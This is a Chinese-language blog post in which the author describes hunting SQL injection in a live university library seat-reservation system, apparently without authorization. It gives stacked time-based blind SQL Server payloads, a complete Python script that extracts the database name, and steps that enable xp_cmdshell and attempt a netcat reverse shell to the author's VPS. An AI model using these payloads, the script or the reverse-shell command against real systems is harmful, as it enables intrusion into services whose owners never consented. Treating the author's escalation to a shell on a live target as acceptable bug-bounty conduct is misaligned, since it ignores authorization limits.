前排提示
未经授权的渗透都是违法的。我只是手工挖洞而已。并没有对服务器造成很大伤害和破坏。
关键字:sql注入、漏洞挖掘。
---------------------------------------------------------------------------------------------------------------------
真不想挖edu,又不给钱。已经在挖企业的了。就是今晚突然上头了。
历程
1.简单信息收集。
因为挖的是我本科学校。所以比较熟悉各个子域名的网站和业务。
2.找到几个比较薄弱的子域名。
看网页就看得出来比较老。而且业务比较冷门。估计是省钱找便宜的外包做的 或者学生做的。
3.发现了一些水洞。
不稀罕csrf和xss、点击劫持、cors。交都不想交。而且如果要试csrf什么的话,我最好还得有个账号能登录。我已经毕业了。账号都被禁用了。
4.发现了一个大洞。sql注入
就在图书馆预约排座的系统中。我本科学校图书馆主页和这个预约的系统居然是分开的。显示是什么xx空间管理系统。可见是比较容易被忽视的。
注入点
在logonName处
这里数据库发现是sql server ,而不是常见的mysql。而且其他的注入不行,偏偏加个分号可以进行堆叠注入,发现加上分号之后确实执行了后边的语句,延时了5秒才返回。
爆数据库长度
"logonName":"111';IF LEN(DB_NAME()) > 5 WAITFOR DELAY '00:00:05';--
"logonName":"111';IF LEN(DB_NAME()) > 6 WAITFOR DELAY '00:00:05';--
判断 如果数据库长度大于6 就延时,结果立即返回。说明数据库名字的长度小于等于6.
判断如果数据库长度大于5就延时,结果延时了。说明数据库长度等于6.
下班了继续挖。发现bp里重新发包都是秒回。猜测由于cookie过期了,所以要重新抓包。不能拿我当初这个包去试。
事实证明我想的是对的。
所以有时候一定要常测。别cookie过期了还傻傻的注。影响自己的判断。
写脚本爆数据库名
采用时间盲注
import requests
import time
import json
url = "xxxxxr"
headers = {
"Host": "xxx",
"Accept": "application/json, text/plain, */*",
"lan": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Content-Type": "application/json;charset=UTF-8",
"Origin": "xxx",
"Referer": "xxx",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "xxx",
"Connection": "close"
}
proxies = {
"http": "127.0.0.1:10809",
}
# Payload template as a dictionary
payload_template = {
"logonName": "111';IF ASCII(SUBSTRING(DB_NAME(), {pos}, 1)) < {ascii_val} WAITFOR DELAY '00:00:05';--",
"password": "OyKwhr0fA1ykE7hODHM2R2TIgCyHlxlqCZhZO7+K0U6rAMskOxAjcwKS5bIHjFi/QhAfoYaebBieCHSgYhsAcpJXfeTm3Edu/dNBAPkEeHeJgnv5lsaLjugviElygNLVFiClAeEBRJJ8jp1hn2/9Qq9cmcsU3yAnU4mra3rqb1Q=",
"captcha": "",
"consoleType": 16
}
# Function to test a single position and ASCII value
def test_char_position(pos, ascii_val):
payload = payload_template.copy()
payload["logonName"] = payload["logonName"].format(pos=pos, ascii_val=ascii_val)
start_time = time.time()
print(json.dumps(payload))
response = requests.post(url, headers=headers, data=json.dumps(payload), proxies=proxies)
elapsed_time = time.time() - start_time
return elapsed_time
# Function to find character at a specific position
def find_char_at_pos(pos):
for ascii_val in range(32, 127): # Printable ASCII range
elapsed_time = test_char_position(pos, ascii_val)
print(elapsed_time)
print(ascii_val)
if elapsed_time > 5: # 5 seconds delay indicates true condition
return chr(ascii_val)
print("Find!!!!",ascii_val)
# time.sleep(0.1)
return None
# Main function to find database name
def find_database_name():
db_name = ""
for pos in range(1, 7): # Assuming length of database name is 6
char = find_char_at_pos(pos)
if char:
db_name += char
print(f"Found character at position {pos}: {char}")
else:
break
return db_name
# Execute the script
database_name = find_database_name()
print(f"Database name: {database_name}")
最终爆出库名
尝试爆表名
是否存在基本表
"logonName": "111';IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') WAITFOR DELAY '00:00:05';--"
看看INFORMATION_SCHEMA.TABLES 能不能用(确实可以等5秒)
"logonName":"111';IF (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES ) > 0 WAITFOR DELAY '0:0:5' --"
看看我那个数据库名对不对
"logonName":"111';IF (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_schema ='xxxxx' ) > 0 WAITFOR DELAY '0:0:5' --"
爆表名的时候。唉。为什么他是个sql server 啊,只能在windows跑。为什么会有人把windows当服务器啊。我是真的服。就算用windows 为什么不用mysql、oracle、PostgreSQL?
于是现学sql server语法。关键我还不能再给他拖泥带水装个sql server自己在哪儿跑代码吧,麻烦死了没准还有捆绑软件。windows虚拟机装个这个估计也卡死了。只能这么无回显地进行盲注。
折磨了一会。爆表名实在爆累了。我真的服了用sql server的了。本来想挖出表名和库名就提交src的。
直接拿shell
玩个大的吧。都能有sql注入漏洞了。还是个sql server。想必安全性也不咋样。直接拿shell试试。
搜了一下sql server如何命令执行。原来是有命令执行接口的。
先开设置
"logonName":"111';EXEC sp_configure 'show advanced options', 1; RECONFIGURE;WAITFOR DELAY '00:00:05'; --"
这时候我是堆叠了三条sql语句,仍然停了5秒。说明大概率夹在中间的命令执行成功了,起码没报错。报错了就太可能执行第三个命令延时了。
配置cmd_shell
"logonName":"111';EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;WAITFOR DELAY '00:00:05'; --"
由于在请求体里,不需要url编码。
攻击机VPS开监听:
nc -lvvp 6666
靶机注入:
"logonName": "111';EXEC xp_cmdshell 'nc.exe -e cmd.exe hackerIP 6666';WAITFOR DELAY '00:00:05'; --",
当我做到这里的时候 感觉有点不正常。。。
气氛突然变诡异了,网站突然上不去了。
过了一会能上去了。但是,我的代理服务器ip被禁了。上不去网站。
我自己的真实ip可以上。
我猜应该是要拿shell那时候被waf告警了。
重新抓包测试。发现再怎么改都无法时间盲注了。
漏洞已被修复。
这程序员这么尽力么。大晚上还干活。
结语
目前高校都越来越重视安全。好点的漏洞都很难挖了。更何况是外校去挖,连登录口令都没有。水洞又不稀罕。
说容易挖也容易挖,谷歌黑客语法能有一堆信息泄露。但是是个人都会啊。
-----------
白忙活。受不了。连个高危漏洞都没交上去。心态崩了。
-----------
其实也无所谓。这样做应该是对的。因为挖个教育src也不给钱,还不如好好挖挖 挖出个严重漏洞很有成就感,交个中危低危。也不给钱。
主要就是抠门导致的。
-----------
另附:
教育src提交平台:https://src.sjtu.edu.cn/